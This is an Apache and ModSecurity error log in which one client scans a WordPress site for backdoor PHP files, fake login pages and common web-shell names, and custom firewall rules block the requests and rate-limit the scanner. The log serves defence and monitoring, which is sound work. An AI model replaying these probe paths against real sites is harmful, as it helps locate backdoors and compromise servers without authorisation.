[Thu Apr 09 17:36:43.682576 2026] [:error] [pid 24515:tid 24536] [client 188.240.71.166:59638] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "addzK61OMnvM2fMnB1NoLwAAABE"]
[Thu Apr 09 17:36:44.194738 2026] [:error] [pid 24516:tid 24548] [client 188.240.71.166:59686] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-signup.php
[Thu Apr 09 17:36:44.971413 2026] [:error] [pid 24516:tid 24571] [client 188.240.71.166:59686] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blog.php
[Thu Apr 09 17:36:45.745474 2026] [:error] [pid 24516:tid 24565] [client 188.240.71.166:59686] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "addzLdhW7vSS-UkeWCUV7AAAAFI"]
[Thu Apr 09 17:36:46.270184 2026] [:error] [pid 24624:tid 24645] [client 188.240.71.166:59822] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-l0gin.php
[Thu Apr 09 17:36:46.527595 2026] [:error] [pid 24624:tid 24644] [client 188.240.71.166:59822] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "addzLu4Jn-WvK1ZBTvip_AAAANI"]
[Thu Apr 09 17:36:47.039829 2026] [:error] [pid 24927:tid 24948] [client 188.240.71.166:59866] File does not exist: /usr/local/apache/htdocs/suspended-page/new.php
[Thu Apr 09 17:36:48.244575 2026] [:error] [pid 24927:tid 24931] [client 188.240.71.166:59866] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "addzMDXObuzEuw8mNJvSQgAAAQE"]
[Thu Apr 09 17:36:49.011229 2026] [:error] [pid 24927:tid 24938] [client 188.240.71.166:59950] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "addzMTXObuzEuw8mNJvSSwAAAQg"]
[Thu Apr 09 17:36:49.777936 2026] [:error] [pid 18477:tid 18484] [client 188.240.71.166:59974] File does not exist: /usr/local/apache/htdocs/suspended-page/natural.php
[Thu Apr 09 17:36:50.034386 2026] [:error] [pid 18477:tid 18481] [client 188.240.71.166:59974] File does not exist: /usr/local/apache/htdocs/suspended-page/item.php
[Thu Apr 09 17:36:50.546016 2026] [:error] [pid 18477:tid 18502] [client 188.240.71.166:59974] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "addzMsDe826HlFeoLPJhLwAAAVc"]
[Thu Apr 09 17:36:51.310367 2026] [:error] [pid 18477:tid 18495] [client 188.240.71.166:45730] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "addzM8De826HlFeoLPJhQQAAAVA"]
[Thu Apr 09 17:36:52.080384 2026] [:error] [pid 18477:tid 18488] [client 188.240.71.166:45790] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "addzNMDe826HlFeoLPJhTwAAAUk"]
[Thu Apr 09 17:36:52.588121 2026] [:error] [pid 18477:tid 18480] [client 188.240.71.166:45860] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "addzNMDe826HlFeoLPJhWQAAAUE"]
[Thu Apr 09 17:36:53.094870 2026] [:error] [pid 24927:tid 24952] [client 188.240.71.166:45920] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "addzNTXObuzEuw8mNJvSbQAAARY"]
[Thu Apr 09 17:36:54.115107 2026] [:error] [pid 24516:tid 24551] [client 188.240.71.166:46008] File does not exist: /usr/local/apache/htdocs/suspended-page/default.php
[Thu Apr 09 17:36:54.367569 2026] [:error] [pid 24516:tid 24548] [client 188.240.71.166:46008] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "addzNthW7vSS-UkeWCUWAwAAAEE"]
[Thu Apr 09 17:36:54.873537 2026] [:error] [pid 24517:tid 24585] [client 188.240.71.166:46078] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "addzNnboYEn2ZFM_PS9rIwAAAIs"]
[Thu Apr 09 17:36:55.385849 2026] [:error] [pid 24517:tid 24584] [client 188.240.71.166:46090] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "addzN3boYEn2ZFM_PS9rJQAAAIo"]
[Thu Apr 09 17:36:56.414070 2026] [:error] [pid 24927:tid 24940] [client 188.240.71.166:46126] File does not exist: /usr/local/apache/htdocs/suspended-page/dropdown.php
[Thu Apr 09 17:36:56.929661 2026] [:error] [pid 24927:tid 24952] [client 188.240.71.166:46126] File does not exist: /usr/local/apache/htdocs/suspended-page/db.php
[Thu Apr 09 17:36:57.962101 2026] [:error] [pid 24927:tid 24944] [client 188.240.71.166:46126] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/admin.php"] [unique_id "addzOTXObuzEuw8mNJvStAAAAQ4"]
[Thu Apr 09 17:36:59.237171 2026] [:error] [pid 24515:tid 24539] [client 188.240.71.166:46304] [client 188.240.71.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.240.71.166, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "addzO61OMnvM2fMnB1NobQAAABQ"]
[Thu Apr 09 17:36:59.497446 2026] [:error] [pid 24515:tid 24529] [client 188.240.71.166:46304] File does not exist: /usr/local/apache/htdocs/suspended-page/install.php
[Thu Apr 09 17:37:02.042276 2026] [:error] [pid 24515:tid 24535] [client 188.240.71.166:46304] File does not exist: /usr/local/apache/htdocs/suspended-page/bypass.php
[Thu Apr 09 17:37:02.297212 2026] [:error] [pid 24515:tid 24529] [client 188.240.71.166:46304] File does not exist: /usr/local/apache/htdocs/suspended-page/class.php
[Thu Apr 09 17:37:06.209386 2026] [:error] [pid 24515:tid 24526] [client 188.240.71.166:46304] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "addzQq1OMnvM2fMnB1NorAAAAAc"]
[Thu Apr 09 17:37:08.185356 2026] [:error] [pid 24927:tid 24941] [client 188.240.71.166:49696] File does not exist: /usr/local/apache/htdocs/suspended-page/init.php
[Thu Apr 09 17:37:08.442116 2026] [:error] [pid 24927:tid 24935] [client 188.240.71.166:49696] [client 188.240.71.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.240.71.166, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "addzRDXObuzEuw8mNJvTLAAAAQU"]
[Thu Apr 09 17:37:08.963255 2026] [:error] [pid 24927:tid 24933] [client 188.240.71.166:49696] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/item.php"] [unique_id "addzRDXObuzEuw8mNJvTOQAAAQM"]
[Thu Apr 09 17:37:11.879888 2026] [:error] [pid 24927:tid 24953] [client 188.240.71.166:49892] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Thu Apr 09 17:37:12.394388 2026] [:error] [pid 24927:tid 24931] [client 188.240.71.166:49892] File does not exist: /usr/local/apache/htdocs/suspended-page/wp_wlx.php
[Thu Apr 09 17:37:12.910728 2026] [:error] [pid 24927:tid 24948] [client 188.240.71.166:49892] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "addzSDXObuzEuw8mNJvTZwAAARI"]
[Thu Apr 09 17:37:13.424884 2026] [:error] [pid 24624:tid 24629] [client 188.240.71.166:55648] File does not exist: /usr/local/apache/htdocs/suspended-page/wp.php
[Thu Apr 09 17:37:14.200849 2026] [:error] [pid 24624:tid 24636] [client 188.240.71.166:55648] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-header.php
[Thu Apr 09 17:37:14.725204 2026] [:error] [pid 24624:tid 24633] [client 188.240.71.166:55648] File does not exist: /usr/local/apache/htdocs/suspended-page/Marvins.php
[Thu Apr 09 17:37:15.249716 2026] [:error] [pid 24624:tid 24643] [client 188.240.71.166:55648] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-class.php
[Thu Apr 09 17:37:15.505389 2026] [:error] [pid 24624:tid 24646] [client 188.240.71.166:55648] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "addzS-4Jn-WvK1ZBTviqXwAAANQ"]
[Thu Apr 09 17:37:16.017580 2026] [:error] [pid 24624:tid 24626] [client 188.240.71.166:55824] File does not exist: /usr/local/apache/htdocs/suspended-page/xx.php
[Thu Apr 09 17:37:16.274485 2026] [:error] [pid 24624:tid 24644] [client 188.240.71.166:55824] File does not exist: /usr/local/apache/htdocs/suspended-page/autoload_classmap.php
[Thu Apr 09 17:37:16.532315 2026] [:error] [pid 24624:tid 24647] [client 188.240.71.166:55824] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "addzTO4Jn-WvK1ZBTviqZwAAANU"]
[Thu Apr 09 17:37:17.302243 2026] [:error] [pid 18477:tid 18488] [client 188.240.71.166:55898] File does not exist: /usr/local/apache/htdocs/suspended-page/content.php
[Thu Apr 09 17:37:17.813902 2026] [:error] [pid 18477:tid 18503] [client 188.240.71.166:55898] [client 188.240.71.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.240.71.166, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "addzTcDe826HlFeoLPJhvQAAAVg"]
[Thu Apr 09 17:37:18.072603 2026] [:error] [pid 18477:tid 18486] [client 188.240.71.166:55898] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "addzTsDe826HlFeoLPJhvgAAAUc"]
[Thu Apr 09 17:37:21.193920 2026] [:error] [pid 24927:tid 24935] [client 188.240.71.166:56006] File does not exist: /usr/local/apache/htdocs/suspended-page/web.php
[Thu Apr 09 17:37:22.746010 2026] [:error] [pid 24927:tid 24938] [client 188.240.71.166:56006] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-trackback.php
[Thu Apr 09 17:37:23.000518 2026] [:error] [pid 24927:tid 24931] [client 188.240.71.166:56006] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "addzUjXObuzEuw8mNJvTpgAAAQE"]
[Thu Apr 09 17:37:23.518725 2026] [:error] [pid 24624:tid 24635] [client 188.240.71.166:44242] File does not exist: /usr/local/apache/htdocs/suspended-page/radio.php
[Thu Apr 09 17:37:24.289908 2026] [:error] [pid 24624:tid 24640] [client 188.240.71.166:44242] [client 188.240.71.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.240.71.166, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "addzVO4Jn-WvK1ZBTviqoQAAAM4"]
[Thu Apr 09 17:37:24.551678 2026] [:error] [pid 24624:tid 24634] [client 188.240.71.166:44242] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-conflg.php
[Thu Apr 09 17:37:24.811407 2026] [:error] [pid 24624:tid 24648] [client 188.240.71.166:44242] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-setup.php
[Thu Apr 09 17:37:25.069795 2026] [:error] [pid 24624:tid 24642] [client 188.240.71.166:44242] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-themes.php
[Thu Apr 09 17:37:25.324916 2026] [:error] [pid 24624:tid 24649] [client 188.240.71.166:44242] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "addzVe4Jn-WvK1ZBTviqpwAAANc"]
[Thu Apr 09 17:37:25.837083 2026] [:error] [pid 18477:tid 18493] [client 188.240.71.166:44412] File does not exist: /usr/local/apache/htdocs/suspended-page/style.php
[Thu Apr 09 17:37:26.092252 2026] [:error] [pid 18477:tid 18492] [client 188.240.71.166:44412] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/infi.php"] [unique_id "addzVsDe826HlFeoLPJh9QAAAU0"]
[Thu Apr 09 17:37:26.859115 2026] [:error] [pid 18477:tid 18502] [client 188.240.71.166:44508] File does not exist: /usr/local/apache/htdocs/suspended-page/x.php
[Thu Apr 09 17:37:27.112367 2026] [:error] [pid 18477:tid 18494] [client 188.240.71.166:44508] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "addzV8De826HlFeoLPJh-AAAAU8"]
[Thu Apr 09 17:37:28.134512 2026] [:error] [pid 24927:tid 24937] [client 188.240.71.166:44586] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-user.php
[Thu Apr 09 17:37:28.388404 2026] [:error] [pid 24927:tid 24933] [client 188.240.71.166:44586] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "addzWDXObuzEuw8mNJvT1AAAAQM"]
[Thu Apr 09 17:37:28.900933 2026] [:error] [pid 24517:tid 24574] [client 188.240.71.166:44636] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "addzWHboYEn2ZFM_PS9rdQAAAIA"]
[Thu Apr 09 17:37:29.410951 2026] [:error] [pid 24624:tid 24642] [client 188.240.71.166:44654] File does not exist: /usr/local/apache/htdocs/suspended-page/config.php
[Thu Apr 09 17:37:29.670788 2026] [:error] [pid 24624:tid 24629] [client 188.240.71.166:44654] File does not exist: /usr/local/apache/htdocs/suspended-page/special.php
[Thu Apr 09 17:37:31.122377 2026] [:error] [pid 24624:tid 24641] [client 188.240.71.166:44654] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "addzW-4Jn-WvK1ZBTviqwQAAAM8"]
[Thu Apr 09 17:37:31.898511 2026] [:error] [pid 18477:tid 18495] [client 188.240.71.166:39258] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "addzW8De826HlFeoLPJiCQAAAVA"]
[Thu Apr 09 17:37:33.201052 2026] [:error] [pid 18477:tid 18496] [client 188.240.71.166:39290] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/edit.php"] [unique_id "addzXcDe826HlFeoLPJiFwAAAVE"]
[Thu Apr 09 17:37:33.712449 2026] [:error] [pid 18477:tid 18481] [client 188.240.71.166:39344] File does not exist: /usr/local/apache/htdocs/suspended-page/webdb.php
[Thu Apr 09 17:37:35.093962 2026] [:error] [pid 18477:tid 18479] [client 188.240.71.166:39344] File does not exist: /usr/local/apache/htdocs/suspended-page/file2.php
[Thu Apr 09 17:37:35.349738 2026] [:error] [pid 18477:tid 18494] [client 188.240.71.166:39344] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "addzX8De826HlFeoLPJiJgAAAU8"]
[Thu Apr 09 17:37:35.865887 2026] [:error] [pid 24624:tid 24627] [client 188.240.71.166:39516] File does not exist: /usr/local/apache/htdocs/suspended-page/alfa.php
[Thu Apr 09 17:37:36.124362 2026] [:error] [pid 24624:tid 24629] [client 188.240.71.166:39516] [client 188.240.71.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/blue/admin.php"] [unique_id "addzYO4Jn-WvK1ZBTviqzAAAAMM"]
[Thu Apr 09 17:37:36.630969 2026] [:error] [pid 20837:tid 20851] [client 188.240.71.166:39578] [client 188.240.71.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/blue/admin.php"] [unique_id "addzYPSL71FHZkjrGzPAZQAAAYw"]
[Thu Apr 09 17:37:37.137124 2026] [:error] [pid 24624:tid 24647] [client 188.240.71.166:39606] [client 188.240.71.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/blue/admin.php"] [unique_id "addzYe4Jn-WvK1ZBTviqzQAAANU"]
[Thu Apr 09 17:37:37.644770 2026] [:error] [pid 24516:tid 24557] [client 188.240.71.166:39640] [client 188.240.71.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/blue/admin.php"] [unique_id "addzYdhW7vSS-UkeWCUWPwAAAEo"]
[Thu Apr 09 17:37:38.155763 2026] [:error] [pid 24927:tid 24944] [client 188.240.71.166:39654] [client 188.240.71.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/blue/admin.php"] [unique_id "addzYjXObuzEuw8mNJvUFgAAAQ4"]
[Thu Apr 09 17:37:38.661969 2026] [:error] [pid 24927:tid 24945] [client 188.240.71.166:39664] [client 188.240.71.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/update/"] [unique_id "addzYjXObuzEuw8mNJvUHQAAAQ8"]
[Thu Apr 09 17:37:39.174481 2026] [:error] [pid 24515:tid 24523] [client 188.240.71.166:39718] [client 188.240.71.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/update/"] [unique_id "addzY61OMnvM2fMnB1NpWwAAAAQ"]
[Thu Apr 09 17:37:39.680688 2026] [:error] [pid 24927:tid 24954] [client 188.240.71.166:39728] [client 188.240.71.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/update/"] [unique_id "addzYzXObuzEuw8mNJvUKQAAARg"]
